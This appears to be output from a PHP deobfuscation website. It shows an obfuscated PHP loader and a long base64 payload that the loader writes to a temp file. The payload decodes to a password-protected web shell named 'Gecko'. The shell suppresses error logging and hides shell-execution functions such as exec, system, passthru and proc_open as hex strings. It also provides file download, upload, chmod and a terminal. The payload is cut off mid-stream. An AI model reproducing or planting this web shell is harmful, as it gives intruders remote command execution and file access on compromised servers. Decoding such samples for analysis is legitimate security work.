Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php ${"GLOBALS"}["xlrjsyu"] = "temp_file"; $owkmxrd = "temp_file"; ${$owkmxrd} = TmpFi..

Decoded Output download

<?php ${"GLOBALS"}["xlrjsyu"] = "temp_file"; 
$owkmxrd = "temp_file"; 
${$owkmxrd} = TmpFilE(); 
FwrIte(${${"GLOBALS"}["xlrjsyu"]}, base64_decode("PD9waHAKc2Vzc2lvbl9zdGFydCgpOwpAc2V0X3RpbWVfbGltaXQoMCk7CkBjbGVhcnN0YXRjYWNoZSgpOwpAaW5pX3NldCgnZXJyb3JfbG9nJywgTlVMTCk7CkBpbmlfc2V0KCdsb2dfZXJyb3JzJywgMCk7CkBpbmlfc2V0KCdtYXhfZXhlY3V0aW9uX3RpbWUnLCAwKTsKQGluaV9zZXQoJ291dHB1dF9idWZmZXJpbmcnLCAwKTsKQGluaV9zZXQoJ2Rpc3BsYXlfZXJyb3JzJywgMCk7CgovKiBrb25maWd1cmFzaSAqLwovKiBQYXNzd29yZCB1c2luZyBtZDUgaGFzaGVzICovCiRwYXNzd29yZCA9ICI3NWIyMTBkYWNlOWVkODAwYjc2YjY0ODE3Y2Q5N2EzYiI7CiRkZWZhdWx0X2FjdGlvbiA9ICJGaWxlc01hbiI7CiRkZWZhdWx0X3VzZV9hamF4ID0gdHJ1ZTsKJGRlZmF1bHRfY2hhcnNldCA9ICdVVEYtOCc7CmRhdGVfZGVmYXVsdF90aW1lem9uZV9zZXQoIkFzaWEvSmFrYXJ0YSIpOwpmdW5jdGlvbiBsb2dpbl9zaGVsbCgpCnsKPz4KICAgIDwhRE9DVFlQRSBodG1sPgogICAgPGh0bWwgbGFuZz0iZW4iPgoKICAgIDxoZWFkPgogICAgICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4KICAgICAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UiPgogICAgICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4KICAgICAgICA8c3R5bGU+CiAgICAgICAgICAgIGJvZHkgewogICAgICAgICAgICAgICAgZm9udC1mYW1pbHk6IG1vbm9zcGFjZQogICAgICAgICAgICB9CgogICAgICAgICAgICBpbnB1dFt0eXBlPXBhc3N3b3JkXSB7CiAgICAgICAgICAgICAgICBib3JkZXI6IG5vbmU7CiAgICAgICAgICAgICAgICBib3JkZXItYm90dG9tOiAxcHggc29saWQgIzAwMDsKICAgICAgICAgICAgICAgIHBhZGRpbmc6IDJweAogICAgICAgICAgICB9CgogICAgICAgICAgICBpbnB1dFt0eXBlPXBhc3N3b3JkXTpmb2N1cyB7CiAgICAgICAgICAgICAgICBvdXRsaW5lOiAwCiAgICAgICAgICAgIH0KCiAgICAgICAgICAgIGlucHV0W3R5cGU9c3VibWl0XSB7CiAgICAgICAgICAgICAgICBib3JkZXI6IG5vbmU7CiAgICAgICAgICAgICAgICBwYWRkaW5nOiA0LjVweCAyMHB4OwogICAgICAgICAgICAgICAgYmFja2dyb3VuZC1jb2xvcjogIzJlMzEzZDsKICAgICAgICAgICAgICAgIGNvbG9yOiAjZmZmCiAgICAgICAgICAgIH0KICAgICAgICA8L3N0eWxlPgogICAgPC9oZWFkPgoKICAgIDxib2R5PgogICAgICAgIDxmb3JtIGFjdGlvbj0iIiBtZXRob2Q9InBvc3QiPgogICAgICAgICAgICA8ZGl2IGFsaWduPSJjZW50ZXIiPgogICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9InBhc3N3b3JkIiBuYW1lPSJwYXNzIiBwbGFjZWhvbGRlcj0iJm5ic3A7UGFzc3dvcmQiPiZuYnNwOzxpbnB1dCB0eXBlPSJzdWJtaXQiIG5hbWU9InN1Ym1pdCIgdmFsdWU9Ij4iPgogICAgICAgICAgICA8L2Rpdj4KICAgICAgICA8L2Zvcm0+CiAgICA8L2JvZHk+CgogICAgPC9odG1sPgo8P3BocAogICAgZXhpdDsKfQppZiAoIWlzc2V0KCRfU0VTU0lPTlttZDUoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKV0pKSB7CiAgICBpZiAoaXNzZXQoJF9QT1NUWydwYXNzJ10pICYmIChtZDUoJF9QT1NUWydwYXNzJ10pID09ICRwYXNzd29yZCkpIHsKICAgICAgICAkX1NFU1NJT05bbWQ1KCRfU0VSVkVSWydIVFRQX0hPU1QnXSldID0gdHJ1ZTsKICAgIH0gZWxzZSB7CiAgICAgICAgbG9naW5fc2hlbGwoKTsKICAgIH0KfQojIGZ1bmN0aW9uIFdBRgoKJEFycmF5ID0gWwogICAgJzY3NjU3NDYzNzc2NCcsICMgZ2UgIHRjdyBkID0+IDAKICAgICc2NzZjNmY2MicsICMgZ2wgb2IgPT4gMQogICAgJzY5NzM1ZjY0Njk3MicsICMgaXNfZCBpciA9PiAyCiAgICAnNjk3MzVmNjY2OTZjNjUnLCAjIGlzXyBmaWxlID0+IDMKICAgICc2OTczNWY3NzcyNjk3NDYxNjI2YzY1JywgIyBpc193ciBpdGVhYmxlID0+IDQKICAgICc2OTczNWY3MjY1NjE2NDYxNjI2YzY1JywgIyBpc19yZSBhZGJsZSA9PiA1CiAgICAnNjY2OTZjNjU3MDY1NzI2ZDczJywgIyBmaWxlcGVyIG1zID0+IDYKICAgICc2NjY5NmM2NScsICMgZiBpbGUgPT4gNwogICAgJzcwNjg3MDVmNzU2ZTYxNmQ2NScsICMgcGhwX3VuYW0gZSA9PiA4CiAgICAnNjc2NTc0NWY2Mzc1NzI3MjY1NmU3NDVmNzU3MzY1NzInLCAjIGdldGMgdXJyZW50dXNlciA9PiA5CiAgICAnNjg3NDZkNmM3MzcwNjU2MzY5NjE2YzYzNjg2MTcyNzMnLCAjIGh0bWwgc3BlY2lhbCA9PiAxMAogICAgJzY2Njk2YzY1NWY2NzY1NzQ1ZjYzNmY2ZTc0NjU2ZTc0NzMnLCAjIGZpbCBlX2dldF9jb250ZW50cyA9PiAxMQogICAgJzZkNmI2NDY5NzInLCAjIG1rIGRpciA9PiAxMgogICAgJzc0NmY3NTYzNjgnLCAjIHRvIHVjaCA9PiAxMwogICAgJzYzNjg2NDY5NzInLCAjIGNoIGRpciA9PiAxNAogICAgJzcyNjU2ZTYxNmQ2NScsICMgcmVuIGFtZSA9PiAxNQogICAgJzY1Nzg2NTYzJywgIyBleGUgYyA9PiAxNgogICAgJzcwNjE3MzczNzQ2ODcyNzUnLCAjIHBhcyBzdGhydSA9PiAxNwogICAgJzczNzk3Mzc0NjU2ZCcsICMgc3lzdCBlbSA9PiAxOAogICAgJzczNjg2NTZjNmM1ZjY1Nzg2NTYzJywgIyBzaCBlbGxfZXhlYyA9PiAxOQogICAgJzcwNmY3MDY1NmUnLCAjIHAgb3BlbiA9PiAyMAogICAgJzcwNjM2YzZmNzM2NScsICMgcGNsIG9zZSA9PiAyMQogICAgJzczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2MzZmNmU3NDY1NmU3NDczJywgIyBzdHJlIGFtZ2V0Y29udGVudHMgPT4gMjIKICAgICc3MDcyNmY2MzVmNmY3MDY1NmUnLCAjIHAgcm9jX29wZW4gPT4gMjMKICAgICc3NTZlNmM2OTZlNmInLCAjIHVuIGxpbmsgPT4gMjQKICAgICc3MjZkNjQ2OTcyJywgIyBybWQgaXIgPT4gMjUKICAgICc2NjZmNzA2NTZlJywgIyBmb3AgZW4gPT4gMjYKICAgICc2NjYzNmM2ZjczNjUnLCAjIGZjbCBvc2UgPT4gMjcKICAgICc2NjY5NmM2NTVmNzA3NTc0NWY2MzZmNmU3NDY1NmU3NDczJywgIyBmaWxlX3B1dF9jIG9udGVudHMgPT4gMjgKICAgICc2ZDZmNzY2NTVmNzU3MDZjNmY2MTY0NjU2NDVmNjY2OTZjNjUnLCAjIG1vdmVfdXAgbG9hZGVkX2ZpbGUgPT4gMjkKICAgICc2MzY4NmQ2ZjY0JywgIyBjaCBtb2QgPT4gMzAKICAgICc3Mzc5NzM1ZjY3NjU3NDVmNzQ2NTZkNzA1ZjY0Njk3MicsICMgdGVtcCBfZGlyID0+IDMxCl07CiRoaXR1bmdfYXJyYXkgPSBjb3VudCgkQXJyYXkpOwpmb3IgKCRpID0gMDsgJGkgPCAkaGl0dW5nX2FycmF5OyAkaSsrKSB7CiAgICAkZnVuZ3NpW10gPSB1bngoJEFycmF5WyRpXSk7Cn0KCmlmIChpc3NldCgkX0dFVFsnZCddKSkgewogICAgJGNkaXIgPSB1bngoJF9HRVRbJ2QnXSk7CiAgICAkZnVuZ3NpWzE0XSgkY2Rpcik7Cn0gZWxzZSB7CiAgICAkY2RpciA9ICRmdW5nc2lbMF0oKTsKfQoKZnVuY3Rpb24gZG93bmxvYWQoJGZpbGUpCnsKCiAgICBpZiAoZmlsZV9leGlzdHMoJGZpbGUpKSB7CiAgICAgICAgaGVhZGVyKCdDb250ZW50LURlc2NyaXB0aW9uOiBGaWxlIFRyYW5zZmVyJyk7CiAgICAgICAgaGVhZGVyKCdDb250ZW50LVR5cGU6IGFwcGxpY2F0aW9uL29jdGV0LXN0cmVhbScpOwogICAgICAgIGhlYWRlcignQ29udGVudC1EaXNwb3NpdGlvbjogYXR0YWNobWVudDsgZmlsZW5hbWU9JyAuIGJhc2VuYW1lKCRmaWxlKSk7CiAgICAgICAgaGVhZGVyKCdDb250ZW50LVRyYW5zZmVyLUVuY29kaW5nOiBiaW5hcnknKTsKICAgICAgICBoZWFkZXIoJ0V4cGlyZXM6IDAnKTsKICAgICAgICBoZWFkZXIoJ0NhY2hlLUNvbnRyb2w6IG11c3QtcmV2YWxpZGF0ZScpOwogICAgICAgIGhlYWRlcignUHJhZ21hOiBwdWJsaWMnKTsKICAgICAgICBoZWFkZXIoJ0NvbnRlbnQtTGVuZ3RoOiAnIC4gZmlsZXNpemUoJGZpbGUpKTsKICAgICAgICBvYl9jbGVhbigpOwogICAgICAgIGZsdXNoKCk7CiAgICAgICAgcmVhZGZpbGUoJGZpbGUpOwogICAgICAgIGV4aXQ7CiAgICB9Cn0KCmlmICgkX0dFVFsnZG9uJ10gPT0gdHJ1ZSkgewogICAgJEZpbGVzRG9uID0gZG93bmxvYWQodW54KCRfR0VUWydkb24nXSkpOwp9Cj8+CjwhRE9DVFlQRSBodG1sPgo8aHRtbCBsYW5nPSJlbiI+Cgo8aGVhZD4KICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4KICAgIDxtZXRhIGh0dHAtZXF1aXY9IlgtVUEtQ29tcGF0aWJsZSIgY29udGVudD0iSUU9ZWRnZSI+CiAgICA8dGl0bGU+R2Vja28gWyA8Pz0gJF9TRVJWRVJbJ1NFUlZFUl9OQU1FJ107ID8+IF08L3RpdGxlPgogICAgPHNjcmlwdCBzcmM9J2h0dHBzOi8va2l0LmZvbnRhd2Vzb21lLmNvbS8wNTdiOWI1MTBjLmpzJyBjcm9zc29yaWdpbj0nYW5vbnltb3VzJz48L3NjcmlwdD4KICAgIDxzY3JpcHQgc3JjPSJodHRwczovL2FqYXguZ29vZ2xlYXBpcy5jb20vYWpheC9saWJzL2pxdWVyeS8zLjYuMS9qcXVlcnkubWluLmpzIj48L3NjcmlwdD4KICAgIDxzY3JpcHQgc3JjPSIvL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL3N3ZWV0YWxlcnQyQDExIj48L3NjcmlwdD4KICAgIDxzdHlsZT4KICAgICAgICAuYnRuLXN1Ym1pdCwKICAgICAgICBhIHsKICAgICAgICAgICAgdGV4dC1kZWNvcmF0aW9uOiBub25lOwogICAgICAgICAgICBjb2xvcjogI2ZmZgogICAgICAgIH0KCiAgICAgICAgYSwKICAgICAgICBib2R5IHsKICAgICAgICAgICAgY29sb3I6ICNmZmYKICAgICAgICB9CgogICAgICAgIC5idG4tc3VibWl0LAogICAgICAgIC5mb3JtLWZpbGUsCiAgICAgICAgdGJvZHkgdHI6bnRoLWNoaWxkKDJuKSB7CiAgICAgICAgICAgIGJhY2tncm91bmQtY29sb3I6ICMyMjI0MmQKICAgICAgICB9CgogICAgICAgIC5jb2RlLWVkaXRvciwKICAgICAgICAubW9kYWwsCiAgICAgICAgLnRlcm1pbmFsIHsKICAgICAgICAgICAgcG9zaXRpb246IGZpeGVkOwogICAgICAgICAgICB0b3A6IDA7CiAgICAgICAgICAgIGxlZnQ6IDA7CiAgICAgICAgICAgIHJpZ2h0OiAwOwogICAgICAgICAgICBib3R0b206IDAKICAgICAgICB9CgogICAgICAgIC5jb2RlLWVkaXRvci1ib2R5IHRleHRhcmVhLAogICAgICAgIC50ZXJtaW5hbC1ib2R5IHRleHRhcmVhIHsKICAgICAgICAgICAgd2lkdGg6IDk4LjUlOwogICAgICAgICAgICBoZWlnaHQ6IDQwMHB4OwogICAgICAgICAgICBmb250LXNpemU6IHNtYWxsZXI7CiAgICAgICAgICAgIHJlc2l6ZTogbm9uZQogICAgICAgIH0KCiAgICAgICAgLm1lbnUtdG9vbHMgbGksCiAgICAgICAgLnRlcm1pbmFsLWJvZHkgbGksCiAgICAgICAgLnRlcm1pbmFsLWhlYWQgbGkgewogICAgICAgICAgICBkaXNwbGF5OiBpbmxpbmUtYmxvY2sKICAgICAgICB9CgogICAgICAgIGJvZHkgewogICAgICAgICAgICBiYWNrZ3JvdW5kLWNvbG9yOiAjMGUwZjE3OwogICAgICAgICAgICBmb250LWZhbWlseTogbW9ub3NwYWNlCiAgICAgICAgfQoKICAgICAgICAuYnRuLW1vZGFsLWNsb3NlOmhvdmVyLAogICAgICAgIC5idG4tc3VibWl0OmhvdmVyLAogICAgICAgIC5tZW51LWZpbGUtbWFuYWdlciB1bCwKICAgICAgICAucGF0aC1wd2QsCiAgICAgICAgdGhlYWQgewogICAgICAgICAgICBiYWNrZ3JvdW5kLWNvbG9yOiAjMmUzMTNkCiAgICAgICAgfQoKICAgICAgICB1bCB7CiAgICAgICAgICAgIGxpc3Qtc3R5bGU6IG5vbmUKICAgICAgICB9CgogICAgICAgIC5tZW51LWhlYWRlciBsaSB7CiAgICAgICAgICAgIHBhZGRpbmc6IDVweCAwCiAgICAgICAgfQoKICAgICAgICAubWVudS1oZWFkZXIgdWwgbGkgewogICAgICAgICAgICBmb250LXdlaWdodDogNzAwOwogICAgICAgICAgICBmb250LXN0eWxlOiBpdGFsaWMKICAgICAgICB9CgogICAgICAgIC5idG4tc3VibWl0IHsKICAgICAgICAgICAgcGFkZGluZzogN3B4IDI1cHg7CiAgICAgICAgICAgIGJvcmRlcjogMnB4IHNvbGlkIGdyZXk7CiAgICAgICAgICAgIGJvcmRlci1yYWRpdXM6IDRweAogICAgICAgIH0KCiAgICAgICAgLmZvcm0tZmlsZSwKICAgICAgICBhOmhvdmVyIHsKICAgICAgICAgICAgY29sb3I6ICNjNWM4ZDYKICAgICAgICB9CgogICAgICAgIC5idG4tc3VibWl0OmhvdmVyIHsKICAgICAgICAgICAgYm9yZGVyOiAycHggc29saWQgI2M1YzhkNgogICAgICAgIH0KCiAgICAgICAgLmZvcm0tdXBsb2FkIHsKICAgICAgICAgICAgbWFyZ2luOiAxMHB4IDAKICAgICAgICB9CgogICAgICAgIC5mb3JtLWZpbGUgewogICAgICAgICAgICBib3JkZXI6IDJweCBzb2xpZCBncmV5OwogICAgICAgICAgICBwYWRkaW5nOiA3cHggMjBweDsKICAgICAgICAgICAgYm9yZGVyLXJhZGl1czogNHB4CiAgICAgICAgfQoKICAgICAgICAubWVudS10b29scyB7CiAgICAgICAgICAgIHdpZHRoOiA5NSUKICAgICAgICB9CgogICAgICAgIC5tZW51LXRvb2xzIGxpIHsKICAgICAgICAgICAgbWFyZ2luOiAxNXB4IDAKICAgICAgICB9CgogICAgICAgIC5tZW51LWZpbGUtbWFuYWdlciwKICAgICAgICAubW9kYWwtbWFpbC10ZXh0IHsKICAgICAgICAgICAgbWFyZ2luOiAxMHB4IDQwcHgKICAgICAgICB9CgogICAgICAgIC5tZW51LWZpbGUtbWFuYWdlciBsaSB7CiAgICAgICAgICAgIGRpc3BsYXk6IGlubGluZS1ibG9jazsKICAgICAgICAgICAgbWFyZ2luOiAxNXB4IDIwcHgKICAgICAgICB9CgogICAgICAgIC5tZW51LWZpbGUtbWFuYWdlciBsaSBhOjphZnRlciB7CiAgICAgICAgICAgIGNvbnRlbnQ6ICIiOwogICAgICAgICAgICBkaXNwbGF5OiBibG9jazsKICAgICAgICAgICAgYm9yZGVyLWJvdHRvbTogMXB4IHNvbGlkICNmZmYKICAgICAgICB9CgogICAgICAgIC5wYXRoLXB3ZCB7CiAgICAgICAgICAgIHBhZGRpbmc6IDE1cHggMDsKICAgICAgICAgICAgbWFyZ2luOiA1cHggMAogICAgICAgIH0KCiAgICAgICAgdGFibGUgewogICAgICAgICAgICBib3JkZXItcmFkaXVzOiA1cHgKICAgICAgICB9CgogICAgICAgIHRoZWFkIHsKICAgICAgICAgICAgaGVpZ2h0OiAzNXB4CiAgICAgICAgfQoKICAgICAgICB0Ym9keSB0ciB0ZCB7CiAgICAgICAgICAgIHBhZGRpbmc6IDEwcHggMAogICAgICAgIH0KCiAgICAgICAgdGJvZHkgdHIgdGQ6bnRoLWNoaWxkKDIpLAogICAgICAgIHRib2R5IHRyIHRkOm50aC1jaGlsZCgzKSwKICAgICAgICB0Ym9keSB0ciB0ZDpudGgtY2hpbGQoNCkgewogICAgICAgICAgICB0ZXh0LWFsaWduOiBjZW50ZXIKICAgICAgICB9CgogICAgICAgIDo6LXdlYmtpdC1zY3JvbGxiYXIgewogICAgICAgICAgICB3aWR0aDogMTZweAogICAgICAgIH0KCiAgICAgICAgOjotd2Via2l0LXNjcm9sbGJhci10cmFjayB7CiAgICAgICAgICAgIGJhY2tncm91bmQ6ICMwZTBmMTcKICAgICAgICB9CgogICAgICAgIDo6LXdlYmtpdC1zY3JvbGxiYXItdGh1bWIgewogICAgICAgICAgICBiYWNrZ3JvdW5kOiAjMjIyNDJkOwogICAgICAgICAgICBib3JkZXI6IDJweCBzb2xpZCAjNTU1OwogICAgICAgICAgICBib3JkZXItcmFkaXVzOiA0cHgKICAgICAgICB9CgogICAgICAgIDo6LXdlYmtpdC1zY3JvbGxiYXItdGh1bWI6aG92ZXIgewogICAgICAgICAgICBiYWNrZ3JvdW5kOiAjNTU1CiAgICAgICAgfQoKICAgICAgICA6Oi13ZWJraXQtZmlsZS11cGxvYWQtYnV0dG9uIHsKICAgICAgICAgICAgZGlzcGxheTogbm9uZQogICAgICAgIH0KCiAgICAgICAgLm1vZGFsIHsKICAgICAgICAgICAgZGlzcGxheTogbm9uZTsKICAgICAgICAgICAgei1pbmRleDogMjsKICAgICAgICAgICAgd2lkdGg6IDEwMCU7CiAgICAgICAgICAgIGJhY2tncm91bmQtY29sb3I6IHJnYmEoMCwgMCwgMCwgLjMpCiAgICAgICAgfQoKICAgICAgICAubW9kYWwtY29udGFpbmVyIHsKICAgICAgICAgICAgYW5pbWF0aW9uLW5hbWU6IG1vZGFsLXBvcC1vdXQ7CiAgICAgICAgICAgIGFuaW1hdGlvbi1kdXJhdGlvbjogLjdzOwogICAgICAgICAgICBhbmltYXRpb24tZmlsbC1tb2RlOiBib3RoOwogICAgICAgICAgICBtYXJnaW46IDEwJSBhdXRvIGF1dG87CiAgICAgICAgICAgIGJvcmRlci1yYWRpdXM6IDEwcHg7CiAgICAgICAgICAgIHdpZHRoOiA4MDBweDsKICAgICAgICAgICAgYmFja2dyb3VuZC1jb2xvcjogI2Y0ZjRmOQogICAgICAgIH0KCiAgICAgICAgQGtleWZyYW1lcyBtb2RhbC1wb3Atb3V0IHsKICAgICAgICAgICAgZnJvbSB7CiAgICAgICAgICAgICAgICBvcGFjaXR5OiAwCiAgICAgICAgICAgIH0KCiAgICAgICAgICAgIHRvIHsKICAgICAgICAgICAgICAgIG9wYWNpdHk6IDEKICAgICAgICAgICAgfQogICAgICAgIH0KCiAgICAgICAgLm1vZGFsLWhlYWRlciB7CiAgICAgICAgICAgIGNvbG9yOiAjMDAwOwogICAgICAgICAgICBtYXJnaW4tbGVmdDogMzBweDsKICAgICAgICAgICAgcGFkZGluZzogMTBweAogICAgICAgIH0KCiAgICAgICAgLm1vZGFsLWJvZHksCiAgICAgICAgLnRlcm1pbmFsLWhlYWQgbGkgewogICAgICAgICAgICBjb2xvcjogIzAwMAogICAgICAgIH0KCiAgICAgICAgLm1vZGFsLWNyZWF0ZS1pbnB1dCB7CiAgICAgICAgICAgIHdpZHRoOiA3MDBweDsKICAgICAgICAgICAgcGFkZGluZzogMTBweCA1cHg7CiAgICAgICAgICAgIGJhY2tncm91bmQtY29sb3I6ICNmNGY0Zjk7CiAgICAgICAgICAgIG1hcmdpbjogMCA1JTsKICAgICAgICAgICAgYm9yZGVyOiBub25lOwogICAgICAgICAgICBib3JkZXItcmFkaXVzOiA0cHg7CiAgICAgICAgICAgIGJveC1zaGFkb3c6IDhweCA4cHggMjBweCByZ2JhKDAsIDAsIDAsIC4yKTsKICAgICAgICAgICAgYm9yZGVyLWJvdHRvbTogMnB4IHNvbGlkICMwZTBmMTcKICAgICAgICB9CgogICAgICAgIC5ib3gtc2hhZG93IHsKICAgICAgICAgICAgYm94LXNoYWRvdzogOHB4IDhweCA4cHggcmdiYSgwLCAwLCAwLCAuMikKICAgICAgICB9CgogICAgICAgIC5idG4tbW9kYWwtY2xvc2UgewogICAgICAgICAgICBiYWNrZ3JvdW5kLWNvbG9yOiAjMjIyNDJkOwogICAgICAgICAgICBjb2xvcjogI2ZmZjsKICAgICAgICAgICAgYm9yZGVyOiBub25lOwogICAgICAgICAgICBib3JkZXItcmFkaXVzOiA0cHg7CiAgICAgICAgICAgIHBhZGRpbmc6IDhweCAzNXB4CiAgICAgICAgfQoKICAgICAgICAuYmFkZ2UtYWN0aW9uLWNobW9kOmhvdmVyOjphZnRlciwKICAgICAgICAuYmFkZ2UtYWN0aW9uLWRvd25sb2FkOmhvdmVyOjphZnRlciwKICAgICAgICAuYmFkZ2UtYWN0aW9uLWVkaXRvcjpob3Zlcjo6YWZ0ZXIgewogICAgICAgICAgICBwYWRkaW5nOiA1cHg7CiAgICAgICAgICAgIGJvcmRlci1yYWRpdXM6IDVweDsKICAgICAgICAgICAgbWFyZ2luLWxlZnQ6IDExMHB4OwogICAgICAgICAgICBiYWNrZ3JvdW5kLWNvbG9yOiAjMmUzMTNkCiAgICAgICAgfQoKICAgICAgICAubW9kYWwtYnRuLWZvcm0gewogICAgICAgICAgICBtYXJnaW46IDE1cHggMDsKICAgICAgICAgICAgcGFkZGluZzogMTBweDsKICAgICAgICAgICAgdGV4dC1hbGlnbjogcmlnaHQKICAgICAgICB9CgogICAgICAgIC5maWxlLXNpemUgewogICAgICAgICAgICBjb2xvcjogb3JhbmdlCiAgICAgICAgfQoKICAgICAgICAuYmFkZ2Utcm9vdDo6YWZ0ZXIgewogICAgICAgICAgICBjb250ZW50OiAicm9vdCI7CiAgICAgICAgICAgIGRpc3BsYXk6IGJsb2NrOwogICAgICAgICAgICBwb3NpdGlvbjogYWJzb2x1dGU7CiAgICAgICAgICAgIHdpZHRoOiA0MHB4OwogICAgICAgICAgICB0ZXh0LWFsaWduOiBjZW50ZXI7CiAgICAgICAgICAgIG1hcmdpbi10b3A6IC0zMHB4OwogICAgICAgICAgICBtYXJnaW4tbGVmdDogMTEwcHg7CiAgICAgICAgICAgIGJvcmRlci1yYWRpdXM6IDRweDsKICAgICAgICAgICAgYmFja2dyb3VuZC1jb2xvcjogcmVkCiAgICAgICAgfQoKICAgICAgICAuYmFkZ2UtYWN0aW9uLWNobW9kOmhvdmVyOjphZnRlciwKICAgICAgICAuYmFkZ2UtYWN0aW9uLWRvd25sb2FkOmhvdmVyOjphZnRlciwKICAgICAgICAuYmFkZ2UtYWN0aW9uLWVkaXRvcjpob3Zlcjo6YWZ0ZXIsCiAgICAgICAgLmJhZGdlLWxpbnV4OjphZnRlciwKICAgICAgICAuYmFkZ2Utd2luZG93czo6YWZ0ZXIgewogICAgICAgICAgICB3aWR0aDogNjBweDsKICAgICAgICAgICAgdGV4dC1hbGlnbjogY2VudGVyOwogICAgICAgICAgICBtYXJnaW4tdG9wOiAtMzBweDsKICAgICAgICAgICAgZGlzcGxheTogYmxvY2s7CiAgICAgICAgICAgIHBvc2l0aW9uOiBhYnNvbHV0ZQogICAgICAgIH0KCiAgICAgICAgLmJhZGdlLXdpbmRvd3M6OmFmdGVyIHsKICAgICAgICAgICAgYmFja2dyb3VuZC1jb2xvcjogb3JhbmdlOwogICAgICAgICAgICBjb2xvcjogIzAwMDsKICAgICAgICAgICAgbWFyZ2luLWxlZnQ6IDEwMHB4OwogICAgICAgICAgICBib3JkZXItcmFkaXVzOiA0cHg7CiAgICAgICAgICAgIGNvbnRlbnQ6ICJ3aW5kb3dzIgogICAgICAgIH0KCiAgICAgICAgLmJhZGdlLWxpbnV4OjphZnRlciB7CiAgICAgICAgICAgIG1hcmdpbi1sZWZ0OiAxMDBweDsKICAgICAgICAgICAgYm9yZGVyLXJhZGl1czogNHB4OwogICAgICAgICAgICBiYWNrZ3JvdW5kLWNvbG9yOiAjMDA0N2EzOwogICAgICAgICAgICBjb250ZW50OiAibGludXgiCiAgICAgICAgfQoKICAgICAgICAuYmFkZ2UtYWN0aW9uLWVkaXRvcjpob3Zlcjo6YWZ0ZXIgewogICAgICAgICAgICBjb250ZW50OiAiUmVuYW1lIgogICAgICAgIH0KCiAgICAgICAgLmJhZGdlLWFjdGlvbi1jaG1vZDpob3Zlcjo6YWZ0ZXIgewogICAgICAgICAgICBjb250ZW50OiAiQ2htb2QiCiAgICAgICAgfQoKICAgICAgICAuYmFkZ2UtYWN0aW9uLWRvd25sb2FkOmhvdmVyOjphZnRlciB7CiAgICAgICAgICAgIGNvbnRlbnQ6ICJEb3dubG9hZCIKICAgICAgICB9CgogICAgICAgIC5jb2RlLWVkaXRvciwKICAgICAgICAudGVybWluYWwgewogICAgICAgICAgICBiYWNrZ3JvdW5kLWNvbG9yOiByZ2JhKDAsIDAsIDAsIC4zKTsKICAgICAgICAgICAgd2lkdGg6IDEwMCUKICAgICAgICB9CgogICAgICAgIC5jb2RlLWVkaXRvci1jb250YWluZXIgewogICAgICAgICAgICBiYWNrZ3JvdW5kLWNvbG9yOiAjZjRmNGY5OwogICAgICAgICAgICBjb2xvcjogIzAwMDsKICAgICAgICAgICAgd2lkdGg6IDk1JTsKICAgICAgICAgICAgbWFyZ2luOiA0MHB4IGF1dG8gYXV0bzsKICAgICAgICAgICAgYm9yZGVyLXJhZGl1czogMTBweAogICAgICAgIH0KCiAgICAgICAgLmNvZGUtZWRpdG9yLWhlYWQgewogICAgICAgICAgICBwYWRkaW5nOiAxNXB4OwogICAgICAgICAgICBmb250LXdlaWdodDogNzAwCiAgICAgICAgfQoKICAgICAgICAuY29kZS1lZGl0b3ItYm9keSB0ZXh0YXJlYSB7CiAgICAgICAgICAgIGJvcmRlci1yYWRpdXM6IDRweDsKICAgICAgICAgICAgbWFyZ2luOiAwIDRweDsKICAgICAgICAgICAgYmFja2dyb3VuZC1jb2xvcjogIzIyMjQyZDsKICAgICAgICAgICAgY29sb3I6ICNmZmYKICAgICAgICB9CgogICAgICAgIC50ZXJtaW5hbC1jb250YWluZXIgewogICAgICAgICAgICBhbmltYXRpb246IC41cyBib3RoIG1vZGFsLXBvcC1vdXQ7CiAgICAgICAgICAgIHdpZHRoOiA5MCU7CiAgICAgICAgICAgIGJhY2tncm91bmQtY29sb3I6ICNmNGY0Zjk7CiAgICAgICAgICAgIG1hcmdpbjogMjVweCBhdXRvIGF1dG87CiAgICAgICAgICAgIGNvbG9yOiAjMDAwOwogICAgICAgICAgICBib3JkZXItcmFkaXVzOiA0cHgKICAgICAgICB9CgogICAgICAgIC5iYy1nZWNrbywKICAgICAgICAubWFpbCwKICAgICAgICAudGVybWluYWwtaW5wdXQgewogICAgICAgICAgICBiYWNrZ3JvdW5kLWNvbG9yOiAjMjIyNDJkOwogICAgICAgICAgICBjb2xvcjogI2ZmZgogICAgICAgIH0KCiAgICAgICAgLnRlcm1pbmFsLWhlYWQgewogICAgICAgICAgICBwYWRkaW5nOiA4cHgKICAgICAgICB9CgogICAgICAgIC50ZXJtaW5hbC1oZWFkIGxpIGEgewogICAgICAgICAgICBjb2xvcjogIzAwMDsKICAgICAgICAgICAgcG9zaXRpb246IGFic29sdXRlOwogICAgICAgICAgICByaWdodDogMDsKICAgICAgICAgICAgbWFyZ2luLXJpZ2h0OiAxMTBweDsKICAgICAgICAgICAgZm9udC13ZWlnaHQ6IDcwMDsKICAgICAgICAgICAgbWFyZ2luLXRvcDogLTIwcHg7CiAgICAgICAgICAgIGZvbnQtc2l6ZTogMjVweDsKICAgICAgICAgICAgcGFkZGluZzogMXB4IDEwcHgKICAgICAgICB9CgogICAgICAgIC50ZXJtaW5hbC1ib2R5IHRleHRhcmVhIHsKICAgICAgICAgICAgbWFyZ2luOiA0cHg7CiAgICAgICAgICAgIGJhY2tncm91bmQtY29sb3I6ICMyMjI0MmQ7CiAgICAgICAgICAgIGNvbG9yOiAjMjlkYjEyOwogICAgICAgICAgICBib3JkZXItcmFkaXVzOiA0cHgKICAgICAgICB9CgogICAgICAgIC5hY3RpdmUgewogICAgICAgICAgICBkaXNwbGF5OiBibG9jawogICAgICAgIH0KCiAgICAgICAgLnRlcm1pbmFsLWlucHV0IHsKICAgICAgICAgICAgd2lkdGg6IDUwMHB4OwogICAgICAgICAgICBwYWRkaW5nOiA2cHg7CiAgICAgICAgICAgIGJvcmRlcjogMXB4IHNvbGlkICMyMjI0MmQ